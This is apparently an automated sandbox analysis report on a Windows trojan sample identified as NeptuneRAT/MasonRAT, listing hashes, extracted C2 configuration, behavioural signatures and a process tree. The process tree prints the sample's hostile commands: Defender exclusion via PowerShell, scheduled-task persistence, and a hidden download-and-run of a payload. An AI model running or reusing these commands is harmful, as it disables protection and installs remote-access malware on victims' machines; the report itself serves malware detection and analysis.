Analysis
- geolocation tags
asiadelhiinindia - max time kernel
283s - max time network
304s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-es - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-eslocale:es-esos:windows11-ltsc_2024-x64systemwindows - submitted
06/08/2026, 00:55
Static task
static1
Behavioral task
behavioral1
Sample
Bypassed.exe
Resource
win10v2004-20260513-es
Behavioral task
behavioral2
Sample
Bypassed.exe
Resource
win10ltsc2021-20260513-es
Behavioral task
behavioral3
Sample
Bypassed.exe
Resource
win11-20260513-es
Behavioral task
behavioral4
Sample
Bypassed.exe
Resource
win11ltsc2024-20260709-es
General
- Target Bypassed.exe
- Size 1.9MB
- Sample260806-a97d3avybs
- SHA256 c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896
- MD5 895088641b452ca046da55b8901462d7
- SHA1 e1756aa09e0ead1a6ee58e9b409192043e614822
- SHA512 0cc1108513076c1bac555d01ced27aae9d138d1463416fd056e459b967145f7b19f0e5e0e561ec12483484a874d204773a5170a494e550c29f0a5e29ce02fb7a
- SSDEEP 49152:BMXA6xXZgFUd7gvy3XHHooAj3JJqrdrp9ZjXXkGE8AJ7gnX6cHIQS1eXApMbEJMy:
- TLSH T11995A1141EEE181963B2AE6D5BD478DFC45EABA33B0710F614F2028E4711D93C9E27B9
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
neptunerat
-
82.22.62.124:443
-
filename
MasonUSB.exe
-
group
MasonGroup
-
key
eacBkjvaIIlrNRCZ
-
rat_name
MasonRAT
Signatures
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects NeptuneRAT stealer 2 IoCs
resource yara_rule behavioral4/memory/1556-46-0x0000000002890000-0x00000000028D4000-memory.dmp family_neptunerat behavioral4/memory/1556-331-0x000000001BB30000-0x000000001BB42000-memory.dmp family_neptunerat - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 3380 powershell.exe 2028 powershell.exe 5000 powershell.exe - Executes dropped EXE 5 IoCs
pid Process 3172 3ac83d66-46c5-49b0-ae6d-1aec88ca7a73.exe 1840 svhost.exe 1556 svhost.exe 5136 zyddufjm.g5x.exe 4072 svhost.exe - Drops file in System32 directory 8 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\System32\Tasks\svhost svchost.exe File opened for modification C:\Windows\System32\CatRoot2\dberr.txt svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe - Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\svhost.exe 3ac83d66-46c5-49b0-ae6d-1aec88ca7a73.exe File opened for modification C:\Windows\svhost.exe 3ac83d66-46c5-49b0-ae6d-1aec88ca7a73.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies data under HKEY_USERS 55 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={783C2401-F9C0-4679-B460-CE4F7B469EBB}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1785978124" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,940 10,941 10,942 10,943 10,940 15,1329 15,940 6,944 50,944 10,941 15,942 15,940 50,943 15,944 6,944 15,943 6,1329 50,1329 100,1329 6,941 6,942 6,944 100,940 100" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Wed, 05 Aug 2026 22:30:13 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "17110992,504928405,41816131,507286179,7202265,17110988,7153487,504928410,577889346,5804129,17962391,508368333,17962392,41484365,24262478,9179409,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,24262477,25036127,24262473,9179410,20502174,6308191,18407617,39125643,539756558,6104718,9179411,51475283,41185282,39389248,539756557,528570079,7202269" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates svchost.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2976 schtasks.exe 4844 SCHTASKS.exe 3972 SCHTASKS.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2028 powershell.exe 2028 powershell.exe 5000 powershell.exe 5000 powershell.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 3380 powershell.exe 3380 powershell.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 3380 powershell.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 3380 powershell.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 3380 powershell.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 3380 powershell.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe 5136 zyddufjm.g5x.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1868 explorer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3172 3ac83d66-46c5-49b0-ae6d-1aec88ca7a73.exe Token: SeDebugPrivilege 2028 powershell.exe Token: SeIncreaseQuotaPrivilege 2028 powershell.exe Token: SeSecurityPrivilege 2028 powershell.exe Token: SeTakeOwnershipPrivilege 2028 powershell.exe Token: SeLoadDriverPrivilege 2028 powershell.exe Token: SeSystemProfilePrivilege 2028 powershell.exe Token: SeSystemtimePrivilege 2028 powershell.exe Token: SeProfSingleProcessPrivilege 2028 powershell.exe Token: SeIncBasePriorityPrivilege 2028 powershell.exe Token: SeCreatePagefilePrivilege 2028 powershell.exe Token: SeBackupPrivilege 2028 powershell.exe Token: SeRestorePrivilege 2028 powershell.exe Token: SeShutdownPrivilege 2028 powershell.exe Token: SeDebugPrivilege 2028 powershell.exe Token: SeSystemEnvironmentPrivilege 2028 powershell.exe Token: SeRemoteShutdownPrivilege 2028 powershell.exe Token: SeUndockPrivilege 2028 powershell.exe Token: SeManageVolumePrivilege 2028 powershell.exe Token: 33 2028 powershell.exe Token: 34 2028 powershell.exe Token: 35 2028 powershell.exe Token: 36 2028 powershell.exe Token: SeDebugPrivilege 5000 powershell.exe Token: SeIncreaseQuotaPrivilege 5000 powershell.exe Token: SeSecurityPrivilege 5000 powershell.exe Token: SeTakeOwnershipPrivilege 5000 powershell.exe Token: SeLoadDriverPrivilege 5000 powershell.exe Token: SeSystemProfilePrivilege 5000 powershell.exe Token: SeSystemtimePrivilege 5000 powershell.exe Token: SeProfSingleProcessPrivilege 5000 powershell.exe Token: SeIncBasePriorityPrivilege 5000 powershell.exe Token: SeCreatePagefilePrivilege 5000 powershell.exe Token: SeBackupPrivilege 5000 powershell.exe Token: SeRestorePrivilege 5000 powershell.exe Token: SeShutdownPrivilege 5000 powershell.exe Token: SeDebugPrivilege 5000 powershell.exe Token: SeSystemEnvironmentPrivilege 5000 powershell.exe Token: SeRemoteShutdownPrivilege 5000 powershell.exe Token: SeUndockPrivilege 5000 powershell.exe Token: SeManageVolumePrivilege 5000 powershell.exe Token: 33 5000 powershell.exe Token: 34 5000 powershell.exe Token: 35 5000 powershell.exe Token: 36 5000 powershell.exe Token: SeDebugPrivilege 1840 svhost.exe Token: SeDebugPrivilege 1556 svhost.exe Token: SeDebugPrivilege 1556 svhost.exe Token: SeDebugPrivilege 5136 zyddufjm.g5x.exe Token: SeShutdownPrivilege 1868 explorer.exe Token: SeCreatePagefilePrivilege 1868 explorer.exe Token: SeShutdownPrivilege 1868 explorer.exe Token: SeCreatePagefilePrivilege 1868 explorer.exe Token: SeShutdownPrivilege 1868 explorer.exe Token: SeCreatePagefilePrivilege 1868 explorer.exe Token: SeShutdownPrivilege 1868 explorer.exe Token: SeCreatePagefilePrivilege 1868 explorer.exe Token: SeDebugPrivilege 3380 powershell.exe Token: SeShutdownPrivilege 1868 explorer.exe Token: SeCreatePagefilePrivilege 1868 explorer.exe Token: SeShutdownPrivilege 1868 explorer.exe Token: SeCreatePagefilePrivilege 1868 explorer.exe Token: SeShutdownPrivilege 1868 explorer.exe Token: SeCreatePagefilePrivilege 1868 explorer.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4520 Conhost.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4008 wrote to memory of 3172 4008 Bypassed.exe 88 PID 3172 wrote to memory of 2028 3172 3ac83d66-46c5-49b0-ae6d-1aec88ca7a73.exe 89 PID 3172 wrote to memory of 5000 3172 3ac83d66-46c5-49b0-ae6d-1aec88ca7a73.exe 92 PID 1556 wrote to memory of 5136 1556 svhost.exe 97 PID 1556 wrote to memory of 4844 1556 svhost.exe 98 PID 5136 wrote to memory of 748 5136 zyddufjm.g5x.exe 5 PID 5136 wrote to memory of 980 5136 zyddufjm.g5x.exe 9 PID 5136 wrote to memory of 1008 5136 zyddufjm.g5x.exe 10 PID 5136 wrote to memory of 1016 5136 zyddufjm.g5x.exe 11 PID 5136 wrote to memory of 1028 5136 zyddufjm.g5x.exe 13 PID 5136 wrote to memory of 1080 5136 zyddufjm.g5x.exe 14 PID 5136 wrote to memory of 1268 5136 zyddufjm.g5x.exe 15 PID 5136 wrote to memory of 1368 5136 zyddufjm.g5x.exe 17 PID 5136 wrote to memory of 1376 5136 zyddufjm.g5x.exe 18 PID 5136 wrote to memory of 1420 5136 zyddufjm.g5x.exe 19 PID 5136 wrote to memory of 1436 5136 zyddufjm.g5x.exe 20 PID 5136 wrote to memory of 1500 5136 zyddufjm.g5x.exe 21 PID 5136 wrote to memory of 1532 5136 zyddufjm.g5x.exe 22 PID 5136 wrote to memory of 1668 5136 zyddufjm.g5x.exe 24 PID 5136 wrote to memory of 1728 5136 zyddufjm.g5x.exe 25 PID 5136 wrote to memory of 1804 5136 zyddufjm.g5x.exe 26 PID 5136 wrote to memory of 1832 5136 zyddufjm.g5x.exe 27 PID 5136 wrote to memory of 1076 5136 zyddufjm.g5x.exe 28 PID 5136 wrote to memory of 2096 5136 zyddufjm.g5x.exe 29 PID 5136 wrote to memory of 2104 5136 zyddufjm.g5x.exe 30 PID 5136 wrote to memory of 2116 5136 zyddufjm.g5x.exe 31 PID 5136 wrote to memory of 2200 5136 zyddufjm.g5x.exe 32 PID 5136 wrote to memory of 2320 5136 zyddufjm.g5x.exe 33 PID 5136 wrote to memory of 2332 5136 zyddufjm.g5x.exe 34 PID 5136 wrote to memory of 2492 5136 zyddufjm.g5x.exe 35 PID 5136 wrote to memory of 2532 5136 zyddufjm.g5x.exe 36 PID 5136 wrote to memory of 2552 5136 zyddufjm.g5x.exe 37 PID 5136 wrote to memory of 2568 5136 zyddufjm.g5x.exe 38 PID 5136 wrote to memory of 2760 5136 zyddufjm.g5x.exe 39 PID 5136 wrote to memory of 2912 5136 zyddufjm.g5x.exe 40 PID 5136 wrote to memory of 2936 5136 zyddufjm.g5x.exe 41 PID 5136 wrote to memory of 3012 5136 zyddufjm.g5x.exe 42 PID 5136 wrote to memory of 3056 5136 zyddufjm.g5x.exe 43 PID 5136 wrote to memory of 2448 5136 zyddufjm.g5x.exe 44 PID 5136 wrote to memory of 2300 5136 zyddufjm.g5x.exe 45 PID 5136 wrote to memory of 3188 5136 zyddufjm.g5x.exe 47 PID 5136 wrote to memory of 3204 5136 zyddufjm.g5x.exe 48 PID 5136 wrote to memory of 3528 5136 zyddufjm.g5x.exe 49 PID 5136 wrote to memory of 3624 5136 zyddufjm.g5x.exe 50 PID 5136 wrote to memory of 3632 5136 zyddufjm.g5x.exe 51 PID 5136 wrote to memory of 3664 5136 zyddufjm.g5x.exe 52 PID 5136 wrote to memory of 3716 5136 zyddufjm.g5x.exe 53 PID 5136 wrote to memory of 3728 5136 zyddufjm.g5x.exe 54 PID 5136 wrote to memory of 908 5136 zyddufjm.g5x.exe 55 PID 5136 wrote to memory of 3708 5136 zyddufjm.g5x.exe 56 PID 5136 wrote to memory of 4444 5136 zyddufjm.g5x.exe 57 PID 5136 wrote to memory of 4500 5136 zyddufjm.g5x.exe 58 PID 5136 wrote to memory of 4544 5136 zyddufjm.g5x.exe 59 PID 5136 wrote to memory of 4616 5136 zyddufjm.g5x.exe 60 PID 5136 wrote to memory of 4836 5136 zyddufjm.g5x.exe 61 PID 5136 wrote to memory of 4316 5136 zyddufjm.g5x.exe 62 PID 5136 wrote to memory of 5232 5136 zyddufjm.g5x.exe 63 PID 5136 wrote to memory of 5336 5136 zyddufjm.g5x.exe 64 PID 5136 wrote to memory of 5644 5136 zyddufjm.g5x.exe 67 PID 5136 wrote to memory of 5880 5136 zyddufjm.g5x.exe 69 PID 5136 wrote to memory of 3504 5136 zyddufjm.g5x.exe 70 PID 5136 wrote to memory of 5944 5136 zyddufjm.g5x.exe 72 PID 5136 wrote to memory of 5444 5136 zyddufjm.g5x.exe 75 PID 5136 wrote to memory of 2696 5136 zyddufjm.g5x.exe 76 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:748
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C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"2⤵PID:1016
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1080
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-7a6abe93-1fc3-49ba-8488-9b7f3bb9ab94 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-9157a568-5b0b-4f9c-8ee2-5cc560040f79 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-da328e92-adbc-4c06-accf-c9895931a56d -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-c7ee71dd-c231-4da9-9e29-8be45b49e40c -LifetimeId:4e8da85d-ff68-4cd9-8327-7435676eb450 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:980
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C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"1⤵PID:1008
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:1028
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1268
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1368
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1376
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1420 -
C:\Windows\svhost.exe"C:\Windows\svhost.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1556 -
C:\Users\Admin\AppData\Local\Temp\zyddufjm.g5x.exe"C:\Users\Admin\AppData\Local\Temp\zyddufjm.g5x.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5136
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C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:4844
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C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:3972 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:3244
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3380 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:4820
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2976 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:1208
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1436
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1500
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc1⤵PID:1532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1668
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1728
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1804
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1832
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:3952
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C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS3⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1868 -
C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:4008 -
C:\Users\Admin\AppData\Local\Temp\3ac83d66-46c5-49b0-ae6d-1aec88ca7a73.exe"C:\Users\Admin\AppData\Local\Temp\3ac83d66-46c5-49b0-ae6d-1aec88ca7a73.exe"5⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3172 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2028
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5000
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1076
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2096
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:2104
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:2116
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:2200
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:2320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:2332
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2492
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService1⤵PID:2532
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C:\Windows\system32\ctfmon.exe/QuitInfo:0000000000000268;000000000000026C;2⤵PID:4316
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2552
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2568
